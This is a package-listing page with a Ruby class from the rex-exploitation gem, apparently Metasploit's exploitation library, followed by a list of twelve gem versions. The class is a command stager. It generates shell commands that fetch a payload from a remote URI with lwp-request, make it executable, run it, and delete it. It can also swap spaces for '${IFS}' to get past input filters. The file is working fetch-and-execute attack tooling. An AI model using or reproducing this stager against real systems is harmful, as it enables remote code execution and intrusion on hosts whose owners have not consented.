Sha256: 30a9cddf1b8d336d6b9c7a9494fa30e821e9753a17cde7bccc4f6be8e2592336

Contents?: true

Size: 1.01 KB

Versions: 12

Compression:

Stored size: 1.01 KB

Contents

# -*- coding: binary -*-

class Rex::Exploitation::CmdStagerLwpRequest < Rex::Exploitation::CmdStagerBase

  def http?
    true
  end

  def user_agent
    /^lwp-request/
  end

  def generate(opts = {})
    if opts[:payload_uri].nil?
      raise "#{self.class.name}##{__callee__} missing opts[:payload_uri]"
    end

    opts[:temp] ||= '/tmp'
    opts[:file] ||= Rex::Text.rand_text_alpha(8)
    @payload_path = "#{opts[:temp]}/#{opts[:file]}"

    super
  end

  def generate_cmds_payload(opts)
    uri = opts[:payload_uri]
    unless opts[:ssl]
      uri = uri.gsub(%r{^http://}, '') if opts[:no_proto]
    end
    ["lwp-request -m GET #{uri} > #{@payload_path}"]
  end

  def generate_cmds_decoder(opts)
    cmds = []

    cmds << "chmod +x #{@payload_path}"
    cmds << @payload_path
    cmds << "rm -f #{@payload_path}" unless opts[:nodelete]

    cmds
  end

  def compress_commands(cmds, opts)
    cmds.each { |cmd| cmd.gsub!(/\s+/, '${IFS}') } if opts[:nospace]
    super
  end

  def cmd_concat_operator
    ';'
  end

end

Version data entries

12 entries across 12 versions & 1 rubygems

Version Path
rex-exploitation-0.1.40 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.39 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.38 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.37 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.36 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.35 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.34 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.33 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.32 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.31 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.30 lib/rex/exploitation/cmdstager/lwprequest.rb
rex-exploitation-0.1.29 lib/rex/exploitation/cmdstager/lwprequest.rb